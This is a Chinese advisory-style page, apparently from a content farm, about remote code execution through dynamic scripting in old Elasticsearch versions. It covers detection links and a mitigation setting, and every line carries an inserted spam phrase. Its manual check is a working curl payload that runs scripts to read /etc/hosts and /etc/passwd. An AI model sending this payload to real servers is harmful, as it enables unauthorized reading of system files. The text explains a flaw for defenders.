ElasticSearch远程任意代码执行漏洞

一、原理yTG每天发布大量与生活相关的资讯平台

这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。yTG每天发布大量与生活相关的资讯平台

ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。yTG每天发布大量与生活相关的资讯平台

而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。yTG每天发布大量与生活相关的资讯平台

其实官方是清楚这个漏洞的,在文档里有说明:yTG每天发布大量与生活相关的资讯平台

First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween.

二、检测方法yTG每天发布大量与生活相关的资讯平台

在线检测:yTG每天发布大量与生活相关的资讯平台

http://tool.scanv.com/es.html 可以检测任意地址yTG每天发布大量与生活相关的资讯平台

http://bouk.co/blog/elasticsearch-rce/poc.html 只检测localhost,不过会输出/etc/hosts和/etc/passwd文件的内容到网页上yTG每天发布大量与生活相关的资讯平台

自己手动检测:yTG每天发布大量与生活相关的资讯平台

curl -XPOST 'http://localhost:9200/_search?pretty' -d '{yTG每天发布大量与生活相关的资讯平台

"size": 1,yTG每天发布大量与生活相关的资讯平台

"query": {yTG每天发布大量与生活相关的资讯平台

"filtered": {yTG每天发布大量与生活相关的资讯平台

"query": {yTG每天发布大量与生活相关的资讯平台

"match_all": {}yTG每天发布大量与生活相关的资讯平台

}yTG每天发布大量与生活相关的资讯平台

}yTG每天发布大量与生活相关的资讯平台

},yTG每天发布大量与生活相关的资讯平台

"script_fields": {yTG每天发布大量与生活相关的资讯平台

"/etc/hosts": {yTG每天发布大量与生活相关的资讯平台

"script": "import java.util.;\nimport java.io.;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();"yTG每天发布大量与生活相关的资讯平台

yTG每天发布大量与生活相关的资讯平台

展开全文
yTG每天发布大量与生活相关的资讯平台

},yTG每天发布大量与生活相关的资讯平台

"/etc/passwd": {yTG每天发布大量与生活相关的资讯平台

"script": "import java.util.;\nimport java.io.;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();"yTG每天发布大量与生活相关的资讯平台

}yTG每天发布大量与生活相关的资讯平台

}yTG每天发布大量与生活相关的资讯平台

}'yTG每天发布大量与生活相关的资讯平台

三、处理方法yTG每天发布大量与生活相关的资讯平台

关掉执行脚本功能,在配置文件elasticsearch.yml里为每一个节点都加上:yTG每天发布大量与生活相关的资讯平台

script.disable_dynamic: true

官网:http://www.elastic.co/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scriptsyTG每天发布大量与生活相关的资讯平台

官方会在1.2版本默认关闭动态脚本。yTG每天发布大量与生活相关的资讯平台

https://github.com/elasticsearch/elasticsearch/issues/5853yTG每天发布大量与生活相关的资讯平台

yTG每天发布大量与生活相关的资讯平台

也许你还喜欢

ups不间断电源原理分析

当前在电源市场上,所销售的电源类型较多,不同类型的电源,相应的功能与作用有所不同。在超

空间背景音乐怎么添加图文教程分享

怎样免费添加QQ空间背景音乐其实步骤也不多,很简单,主要有以下几个步骤,详情如下

万能转换器破解版怎么用?具体操作方

万能格式转换器是一款功能强大的格式转换软件,音频、视频、图片、光驱设备都可以通过万

rmvb转mp4格式转换器图文教程

在我们日常娱乐和日常工作中,现在网络上一些高清的视频一般都是rmvb格式的,而一些播放设

支付宝网络系统异常怎么解决

支付宝支付出现网络系统异常是因为IE浏览器设置Internet选项不恰当而导致的,去重新设置

win10蓝牙驱动破解版安装图文教程

win10蓝牙驱动怎么安装?请看下面具体操作方法。

微孔抛光镜面加工计数详解

一般来说,对于小孔微孔进行抛光,传统的加工方法可能会导致孔洞磨损,或者加工效果不理想。

短视频内容管理助手有哪些?怎么好用

随着短视频的普及,越来越多的人开始将大量的时间和精力投入到短视频的制作和分享中。因

模具设计学习知识分享

今天,我想谈谈我在模具设计CAD方面的一些心得体会。作为一个从事这个行业多年的工程师,

seo优化排名软件详细介绍

1. SEMrush SEMrush,一款广受好评的SEO神器,被誉为业内最佳的SEO分析工具。功能包括全